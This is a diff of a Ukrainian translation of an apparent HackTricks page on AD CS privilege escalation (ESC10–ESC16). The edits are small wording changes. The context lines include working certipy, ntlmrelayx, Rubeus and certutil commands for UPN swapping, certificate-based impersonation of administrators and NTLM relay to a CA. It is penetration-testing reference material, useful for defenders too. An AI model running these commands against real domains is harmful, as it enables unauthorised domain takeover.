@ -440,7 +480,7 @@ certipy auth -pfx adminitrator.pfx -domain corp.local

 ### Пояснення

-Два значення ключів реєстру на контролері домену відносяться до ESC10:
+Два значення ключів реєстру на контролері домену згадуються в ESC10:

 - Значення за замовчуванням для `CertificateMappingMethods` під `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` дорівнює `0x18` (`0x8 | 0x10`), раніше було встановлено на `0x1F`.
 - Налаштування за замовчуванням для `StrongCertificateBindingEnforcement` під `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` дорівнює `1`, раніше `0`.
@ -463,7 +503,7 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
 ```bash
 certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
 ```
-В результаті, `Jane`'s `userPrincipalName` змінюється на `Administrator`, навмисно пропускаючи частину `@corp.local`, щоб уникнути порушення обмеження.
+Відповідно, `Jane`'s `userPrincipalName` змінюється на `Administrator`, навмисно пропускаючи частину `@corp.local`, щоб уникнути порушення обмеження.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
@ -481,7 +521,7 @@ certipy auth -pfx administrator.pfx -domain corp.local
 ```
 ### Зловживання випадком 2

-З `CertificateMappingMethods`, що містить бітовий прапорець `UPN` (`0x4`), обліковий запис A з правами `GenericWrite` може скомпрометувати будь-який обліковий запис B, що не має властивості `userPrincipalName`, включаючи облікові записи машин і вбудованого адміністратора домену `Administrator`.
+З `CertificateMappingMethods`, що містить бітовий прапорець `UPN` (`0x4`), обліковий запис A з правами `GenericWrite` може скомпрометувати будь-який обліковий запис B, який не має властивості `userPrincipalName`, включаючи облікові записи машин і вбудованого доменного адміністратора `Administrator`.

 Тут мета полягає в компрометації `DC$@corp.local`, починаючи з отримання хешу `Jane` через Shadow Credentials, використовуючи `GenericWrite`.
 ```bash
@ -495,7 +535,7 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
-`Jane`'s `userPrincipalName` повертається до свого початкового після цього процесу.
+`Jane`'s `userPrincipalName` повертається до свого оригінального після цього процесу.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
 ```
@ -565,7 +605,7 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s

 Адміністратори можуть налаштувати Центр сертифікації для зберігання його на зовнішньому пристрої, наприклад, "Yubico YubiHSM2".

-Якщо USB-пристрій підключено до сервера CA через USB-порт або до сервера USB-пристроїв у випадку, якщо сервер CA є віртуальною машиною, потрібен ключ аутентифікації (іноді його називають "паролем") для того, щоб Провайдер зберігання ключів міг генерувати та використовувати ключі в YubiHSM.
+Якщо USB-пристрій підключено до сервера CA через USB-порт або до сервера USB у випадку, якщо сервер CA є віртуальною машиною, потрібен ключ аутентифікації (іноді його називають "паролем") для того, щоб Провайдер зберігання ключів міг генерувати та використовувати ключі в YubiHSM.

 Цей ключ/пароль зберігається в реєстрі за адресою `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` у відкритому вигляді.

@ -589,7 +629,7 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common

 ### Пояснення

-Атрибут `msPKI-Certificate-Policy` дозволяє додавати політику видачі до шаблону сертифіката. Об'єкти `msPKI-Enterprise-Oid`, які відповідають за видачу політик, можна виявити в Контексті Іменування Конфігурації (CN=OID,CN=Public Key Services,CN=Services) контейнера PKI OID. Політика може бути пов'язана з групою AD, використовуючи атрибут `msDS-OIDToGroupLink` цього об'єкта, що дозволяє системі авторизувати користувача, який пред'являє сертифікат, так ніби він є членом групи. [Посилання тут](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
+Атрибут `msPKI-Certificate-Policy` дозволяє додати політику видачі до шаблону сертифіката. Об'єкти `msPKI-Enterprise-Oid`, які відповідають за видачу політик, можна виявити в Контексті Іменування Конфігурації (CN=OID,CN=Public Key Services,CN=Services) контейнера PKI OID. Політика може бути пов'язана з групою AD, використовуючи атрибут `msDS-OIDToGroupLink` цього об'єкта, що дозволяє системі авторизувати користувача, який пред'являє сертифікат, так ніби він є членом групи. [Посилання тут](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).

 Іншими словами, коли у користувача є дозвіл на реєстрацію сертифіката, і сертифікат пов'язаний з групою OID, користувач може успадкувати привілеї цієї групи.

@ -649,7 +689,7 @@ ESC14 стосується вразливостей, що виникають ч
 - `X509:<RFC822>EmailAddress` (відображає за іменем RFC822, зазвичай електронною адресою, з SAN)
 - `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (відображає за SHA1-хешем сирого публічного ключа сертифіката - зазвичай сильний)

-Безпека цих відображень значною мірою залежить від специфічності, унікальності та криптографічної міцності вибраних ідентифікаторів сертифіката, що використовуються в рядку відображення. Навіть за наявності сильних режимів прив'язки сертифікатів, увімкнених на контролерах домену (які в основному впливають на неявні відображення на основі SAN UPN/DNS та розширення SID), погано налаштований запис `altSecurityIdentities` все ще може представляти прямий шлях для підробки, якщо логіка відображення сама по собі є ненадійною або занадто поблажливою.
+Безпека цих відображень значною мірою залежить від специфічності, унікальності та криптографічної міцності вибраних ідентифікаторів сертифікатів, що використовуються в рядку відображення. Навіть за наявності сильних режимів прив'язки сертифікатів, увімкнених на контролерах домену (які в основному впливають на неявні відображення на основі SAN UPN/DNS та розширення SID), погано налаштований запис `altSecurityIdentities` все ще може представляти прямий шлях для підробки, якщо логіка відображення сама по собі є ненадійною або занадто поблажливою.
 ### Сценарій зловживання

 ESC14 націлений на **явні відображення сертифікатів** в Active Directory (AD), зокрема на атрибут `altSecurityIdentities`. Якщо цей атрибут встановлений (за дизайном або через неправильну конфігурацію), зловмисники можуть видавати себе за облікові записи, представляючи сертифікати, які відповідають відображенню.
@ -685,7 +725,7 @@ ESC14 націлений на **явні відображення сертифі
 ```bash
 certutil -MergePFX .\esc13.pem .\esc13.pfx
 ```
-Аутентифікуйте (використовуючи сертифікат)
+Аутентифікація (використовуючи сертифікат)
 ```bash
 .\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
 ```
@ -693,7 +733,7 @@ certutil -MergePFX .\esc13.pem .\esc13.pfx
 ```bash
 Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
 ```
-Для більш специфічних методів атаки в різних сценаріях атаки, будь ласка, зверніться до наступного: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
+Для більш специфічних методів атаки в різних сценаріях атак, будь ласка, зверніться до наступного: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).

 ## EKUwu Application Policies(CVE-2024-49019) - ESC15

@ -701,19 +741,19 @@ Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,D

 Опис на https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc є надзвичайно детальним. Нижче наведено цитату з оригінального тексту.

-Використовуючи вбудовані шаблони сертифікатів версії 1 за замовчуванням, зловмисник може створити CSR, щоб включити політики застосування, які є пріоритетними над налаштованими атрибутами розширеного використання ключів, зазначеними в шаблоні. Єдина вимога - права на реєстрацію, і це може бути використано для генерації сертифікатів клієнтської аутентифікації, агента запиту сертифіката та сертифікатів підпису коду, використовуючи шаблон **_WebServer_**.
+Використовуючи вбудовані шаблони сертифікатів версії 1 за замовчуванням, зловмисник може створити CSR, щоб включити політики застосування, які є переважними над налаштованими атрибутами розширеного використання ключів, зазначеними в шаблоні. Єдина вимога - права на реєстрацію, і це може бути використано для генерації сертифікатів аутентифікації клієнтів, агентів запиту сертифікатів та сертифікатів підпису коду, використовуючи шаблон **_WebServer_**.

 ### Зловживання

 Наступне посилається на [це посилання](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), натисніть, щоб побачити більш детальні методи використання.

-Команда `find` Certipy може допомогти виявити шаблони V1, які потенційно можуть бути вразливими до ESC15, якщо ЦС не виправлена.
+Команда `find` Certipy може допомогти виявити шаблони V1, які потенційно можуть бути вразливими до ESC15, якщо CA не виправлено.
 ```bash
 certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
 ```
 #### Сценарій A: Пряме імперсонування через Schannel

-**Крок 1: Запит сертифіката, інжектуючи "Клієнтську автентифікацію" в політику застосування та цільовий UPN.** Атакуючий `attacker@corp.local` націлюється на `administrator@corp.local`, використовуючи шаблон "WebServer" V1 (який дозволяє наданий учасником суб'єкт).
+**Крок 1: Запит сертифіката, інжектуючи "Клієнтську автентифікацію" в політику застосування та цільовий UPN.** Атакуючий `attacker@corp.local` намагається отримати доступ до `administrator@corp.local`, використовуючи шаблон "WebServer" V1 (який дозволяє наданий суб'єктом запис).
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@ -722,7 +762,7 @@ certipy req \
 -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
 -application-policies 'Client Authentication'
 ```
- `-template 'WebServer'`: Вразливий шаблон V1 з "Заявник надає суб'єкта".
+- `-template 'WebServer'`: Вразливий шаблон V1 з "Заявник надає суб'єкт".
 - `-application-policies 'Client Authentication'`: Впроваджує OID `1.3.6.1.5.5.7.3.2` у розширення Політики застосування CSR.
 - `-upn 'administrator@corp.local'`: Встановлює UPN у SAN для імперсонації.

@ -768,7 +808,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'

 ### Abuse

-Наступне посилається на [це посилання](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), натисніть, щоб побачити більш детальні методи використання.
+Наступне посилається на [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), натисніть, щоб побачити більш детальні методи використання.

 Щоб визначити, чи вразливе середовище Active Directory Certificate Services (AD CS) до **ESC16**
 ```bash
@ -788,7 +828,7 @@ certipy account \
 -dc-ip '10.0.0.100' -upn 'administrator' \
 -user 'victim' update
 ```
-**Крок 3: (Якщо потрібно) Отримати облікові дані для облікового запису "жертви" (наприклад, через Shadow Credentials).**
+**Крок 3: (Якщо потрібно) Отримайте облікові дані для облікового запису "жертви" (наприклад, через Shadow Credentials).**
 ```shell
 certipy shadow \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@ -827,10 +867,14 @@ certipy auth \

 ### Привілеї Реєстрації, Надані Іноземним Принципалам

-У багатолісових середовищах необхідна обережність щодо підприємницьких ЦА, які **публікують шаблони сертифікатів**, що дозволяють **Аутентифікованим Користувачам або іноземним принципалам** (користувачам/групам, які не належать до лісу, до якого належить підприємницька ЦА) **права на реєстрацію та редагування**.\
+У багатолісових середовищах необхідна обережність щодо підприємницьких ЦА, які **публікують шаблони сертифікатів**, що дозволяють **Аутентифікованим Користувачам або іноземним принципалам** (користувачам/групам, які є зовнішніми для лісу, до якого належить підприємницька ЦА) **права на реєстрацію та редагування**.\
 Після аутентифікації через довіру, **SID Аутентифікованих Користувачів** додається до токена користувача AD. Таким чином, якщо домен має підприємницьку ЦА з шаблоном, який **дозволяє права на реєстрацію Аутентифікованим Користувачам**, шаблон може потенційно бути **зареєстрований користувачем з іншого лісу**. Аналогічно, якщо **права на реєстрацію явно надані іноземному принципалу шаблоном**, **створюється крос-лісова відносина контролю доступу**, що дозволяє принципалу з одного лісу **реєструватися в шаблоні з іншого лісу**.

 Обидва сценарії призводять до **збільшення площі атаки** з одного лісу в інший. Налаштування шаблону сертифіката можуть бути використані зловмисником для отримання додаткових привілеїв в іноземному домені.


+## Посилання
+
+- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
+
 {{#include ../../../banners/hacktricks-training.md}}